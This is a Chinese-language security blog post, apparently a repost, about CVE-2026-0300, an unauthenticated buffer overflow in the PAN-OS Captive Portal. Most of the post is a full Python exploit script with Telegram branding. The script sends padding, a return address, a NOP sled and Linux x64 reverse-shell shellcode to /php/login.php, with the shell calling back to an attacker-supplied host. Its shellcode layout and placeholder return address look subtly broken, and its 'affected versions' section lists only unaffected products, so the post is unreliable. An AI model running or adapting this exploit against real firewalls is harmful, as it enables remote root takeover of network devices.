首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2026-0300|Palo Alto Networks PAN-OS未经身份验证的缓冲区溢出漏洞(POC)

CVE-2026-0300|Palo Alto Networks PAN-OS未经身份验证的缓冲区溢出漏洞(POC)

作者头像
信安百科
发布2026-05-26 20:14:45
发布2026-05-26 20:14:45
1110
举报
文章被收录于专栏:信安百科信安百科

0x00 前言

Palo Alto Networks(帕洛阿尔托网络公司)是一家总部位于美国加利福尼亚州的全球领先网络安全企业,成立于2005年,以其创新性的下一代防火墙(NGFW)技术而闻名。该公司的核心产品PAN-OS操作系统为企业提供了全面的网络安全防护,包括应用层识别、威胁检测与防御、用户身份认证等功能。除了防火墙解决方案外,Palo Alto Networks还提供云安全、网络安全自动化、威胁情报等多元化产品组合,帮助企业应对日益复杂的网络安全威胁。作为网络安全领域的领导者,该公司服务于全球众多大型企业和政府机构,致力于通过创新技术构建更安全的数字化环境。

Palo Alto Networks PAN-OS是Palo Alto Networks公司专为其PA系列物理防火墙和VM系列虚拟防火墙开发的专有操作系统,它整合了下一代防火墙(NGFW)的核心功能,包括应用层识别与控制、威胁防护、URL 过滤、用户身份认证(User-ID)以及高级安全服务,为企业网络提供全面的安全防护能力。

0x01 漏洞描述

漏洞位于User-ID™ Authentication Portal(即 Captive Portal)服务中,允许未经身份验证的攻击者通过发送特制数据包,在PA-Series和 VM-Series防火墙上以root权限远程执行任意代码。

0x02 CVE编号

CVE-2026-0300

0x03 影响版本

以下产品不受此漏洞影响:

Prisma Access(SASE云交付平台)

Cloud NGFW(云原生下一代防火墙)

Panorama(集中式安全管理平台)

0x04 漏洞详情

POC:

https://github.com/p3Nt3st3r-sTAr/CVE-2026-0300-POC

代码语言:javascript
复制
#!/usr/bin/env python3
import socket
import struct
import argparse
import sys
import time

# --- ANSI UI TOOLKIT ---
R = "\033[31m"   # Red
G = "\033[32m"   # Green
Y = "\033[33m"   # Yellow
B = "\033[34m"   # Blue
C = "\033[36m"   # Cyan
M = "\033[35m"   # Magenta
W = "\033[0m"    # Reset
BOLD = "\033[1m"

def print_banner():
    banner = f'''
 [ONLINE]
                bY https://t.me/gula_007
    bY https://t.me/gula_007
    {R}
    ▄████▄   ██▒   █▓▓█████     ██▓███   ▓█████  ███▄    █ ▄▄▄█████▓▓█████   ██████ ▄▄▄█████▓▓█████  ██▀███  
    ▒██▀ ▀█  ▓██░   █▒▓█   ▀    ▓██░  ██▒▓█   ▀  ██ ▀█   █ ▓  ██▒ ▓▒▓█   ▀ ▒██    ▒ ▓  ██▒ ▓▒▓█   ▀ ▓██ ▒ ██▒
    ▒▓█    ▄  ▓██  █▒░▒███      ▓██░ ██▓▒▒███   ▓██  ▀█ ██▒▒ ▓██░ ▒░▒███   ░ ▓██▄   ▒ ▓██░ ▒░▒███   ▓██ ░▄█ ▒
    ▒▓▓▄ ▄██▒  ▒██ █░░▒▓█  ▄    ▒██▄█▓▒ ▒▒▓█  ▄ ▓██▒  ▐▌██▒░ ▓██▓ ░ ▒▓█  ▄   ▒   ██▒░ ▓██▓ ░ ▒▓█  ▄ ▒██▀▀█▄  
    ▒ ▓███▀ ░   ▒▀█░  ░▒████▒   ▒██▒ ░  ░░▒████▒▒██░   ▓██░  ▒██▒ ░ ░▒████▒▒██████▒▒  ▒██▒ ░ ░▒████▒░██▓ ▒██▒
    ░ ░▒ ▒  ░   ░ ▐░  ░░ ▒░ ░   ▒▓▒░ ░  ░░░ ▒░ ░░ ▒░   ▒ ▒   ▒ ░░   ░░ ▒░ ░▒ ▒▓▒ ▒ ░  ▒ ░░   ░░ ▒░ ░░ ▒▓ ░▒▓░
    ░  ▒      ░ ░░   ░ ░  ░   ░▒ ░      ░ ░  ░░ ░░   ░ ▒░    ░     ░ ░  ░░ ░▒  ░ ░    ░     ░ ░  ░  ░▒ ░ ▒░
    ░           ░░░      ░      ░░          ░      ░   ░ ░     ░       ░   ░  ░  ░    ░         ░     ░░   ░ 
    ░ ░           ░      ░  ░               ░  ░         ░             ░  ░      ░              ░  ░   ░     
    ░             ░      {W}

'''
    print(banner)

def loading_animation(duration=2):
    chars = ["⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"]
    end_time = time.time() + duration
    while time.time() < end_time:
        for char in chars:
            sys.stdout.write(f'\r{B}[{char}]{W} Processing...')
            sys.stdout.flush()
            time.sleep(0.1)
    sys.stdout.write('\r' + ' ' * 30 + '\r')

def print_status(icon, color, message):
    print(f"{color}[{icon}]{W} {message}")

def main():
    print_banner()
    parser = argparse.ArgumentParser(description="Professional PoC for CVE-2026-0300 Research")
    parser.add_argument("-t", "--target", required=True, help="Target IP Address")
    parser.add_argument("-p", "--port", type=int, default=6082, help="Port (Default: 6082)")
    parser.add_argument("-l", "--lhost", required=True, help="Your IP for Reverse Shell")
    parser.add_argument("-L", "--lport", type=int, default=4444, help="Your Listener Port (Default: 4444)")
    parser.add_argument("-o", "--offset", type=int, default=2048, help="Buffer Offset")
    parser.add_argument("-r", "--ret", default="0xdeadbeef", help="Return Address (Hex)")
    args = parser.parse_args()

    print(f"{BOLD}{R}![SECURITY WARNING]: AUTHORIZED RESEARCH / TESTING ONLY{W}\n")

    # === REVERSE SHELL SHELLCODE (Linux x64) ===
    print_status("*", B, "Generating reverse shell shellcode...")

    # msfvenom -p linux/x64/shell_reverse_tcp LHOST=... LPORT=... -f python
    shellcode = (
        b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
        b"\x50\x48\x31\xc0\x48\x31\xd2\x48\xb8\x02\x00" + struct.pack(">H", args.lport) +
        b"\x00\x00\x00\x00\x00\x00" + socket.inet_aton(args.lhost) +
        b"\x50\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03"
        b"\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"
        b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89"
        b"\xe7\x52\x57\x48\x89\xe6\x0f\x05"
    )

    # Payload Construction
    print_status("*", B, "Constructing memory corruption buffer...")
    padding = b"A" * args.offset

    try:
        return_address = struct.pack("<Q", int(args.ret, 16))
    except Exception:
        print_status("!", R, "Critical: Invalid Return Address format!")
        sys.exit(1)

    # Final payload: padding + ret + nops + shellcode
    payload = padding + return_address + (b"\x90" * 128) + shellcode

    request = (b"POST /php/login.php HTTP/1.1\r\n"
               b"Host: " + args.target.encode() + b"\r\n"
               b"Content-Type: application/x-www-form-urlencoded\r\n"
               b"Content-Length: " + str(len(payload)).encode() + b"\r\n\r\n" + payload)

    print(f"{M}───[ SESSION START ]───{W}")
    print_status("i", C, f"Target   : {G}{args.target}:{args.port}{W}")
    print_status("i", C, f"Reverse Shell → {G}{args.lhost}:{args.lport}{W}")

    try:
        loading_animation(1.5)
        with socket.create_connection((args.target, args.port), timeout=15) as s:
            print_status("+", G, "Connection established.")
            print_status(">", Y, "Injecting reverse shell payload...")
            s.sendall(request)

            print_status("*", B, "Payload delivered. Waiting for callback...")
            time.sleep(3)

            print(f"\n{BOLD}{G}[+] Check your listener on {args.lhost}:{args.lport}{W}")

    except ConnectionRefusedError:
        print(f"\n{R}{BOLD}[X] ERROR: CONNECTION REFUSED{W}")
    except socket.timeout:
        print(f"\n{G}[+] Target likely crashed or spawned shell (timeout).{W}")
    except Exception as e:
        print(f"\n{R}[!] ERROR: {e}{W}")

    print(f"\n{M}───[ SESSION END ]───{W}")

if __name__ == "__main__":
    main()

0x05 参考链接

https://security.paloaltonetworks.com/CVE-2026-0300

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-05-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档